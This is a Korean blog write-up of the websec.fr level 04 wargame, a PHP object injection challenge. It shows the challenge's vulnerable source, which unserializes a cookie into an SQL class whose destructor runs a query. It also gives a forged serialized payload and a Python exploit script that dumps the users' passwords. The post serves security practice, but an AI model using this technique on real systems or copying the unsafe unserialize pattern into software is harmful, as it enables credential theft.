아직은 초반이라 그런지 기본적인 개념 문제들이 나오고 있다.

 

PHP Object Injection 문제인데 다음과 같이 소스를 제공하고있다. 

 

source1)

<?php
include 'connect.php'
;

$sql = new SQL
();
$sql->connect
();
$sql->query 'SELECT username FROM users WHERE id='
;


if (isset (
$_COOKIE['leet_hax0r'
])) {
    
$sess_data unserialize (base64_decode ($_COOKIE['leet_hax0r'
]));
    try {
        if (
is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR'
]) {
            die(
'CANT HACK US!!!'
);
        }
    } catch(
Exception $e
) {
        echo 
$e
;
    }
} else {
    
$cookie base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR'
]))) ;
    
setcookie ('leet_hax0r'$cookietime () + (86400 30
));
}

if (isset (
$_REQUEST['id']) && is_numeric ($_REQUEST['id'
])) {
    try {
        
$sql->query .= $_REQUEST['id'
];
    } catch(
Exception $e
) {
        echo 
' Invalid query'
;
    }
}
?>

 

source2)

<?php

class SQL {
    public 
$query '';
    public 
$conn;
    public function 
__construct() {
    }
    
    public function 
connect() {
        
$this->conn = new SQLite3 ("database.db"SQLITE3_OPEN_READONLY);
    }

    public function 
SQL_query($query) {
        
$this->query $query;
    }

    public function 
execute() {
        return 
$this->conn->query ($this->query);
    }

    public function 
__destruct() {
        if (!isset (
$this->conn)) {
            
$this->connect ();
        }
        
        
$ret $this->execute ();
        if (
false !== $ret) {    
            while (
false !== ($row $ret->fetchArray (SQLITE3_ASSOC))) {
                echo 
'<p class="well"><strong>Username:<strong> ' $row['username'] . '</p>';
            }
        }
    }
}
?>

 

 

코드가 매우 간단하고 기본적인 PHP Object Injection 이라 간단히 설명하고 넘어가면 deserialize할 때 쿠키값에 요런식으로 변조된 sql 클래스의 직렬화 데이터를 base64 인코딩해서 넣어주면 된다. 그러면 query가 덮이면서 내가원하는 sql 구문을 실행할 수 있다.

 

O:3:"SQL":2:{s:5:"query";s:40:"select password as username from users--";s:2:"ip";s:14:"210.183.42.143";}

 



exploit.py

import requests


def getFlag(payload):

    url = "http://websec.fr/level04/index.php"

    payload = 'O:3:"SQL":1:{s:5:"query";s:'+str(len(payload))+':"'+payload+'";}'

    headers = {"Cookie":"leet_hax0r="+payload.encode("base64").replace("\n","")+";"}

    result = requests.post(url,headers=headers).text

    print result


payload = "select group_concat(password) as username from users"

getFlag(payload)


'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr easy level 08  (0) 2018.03.08
Websec.fr easy level 02  (0) 2018.03.08
Websec.fr babysteps level17  (0) 2018.03.08
Websec.fr babysteps level 06  (0) 2018.03.08
Websec.fr babysteps Level 01  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,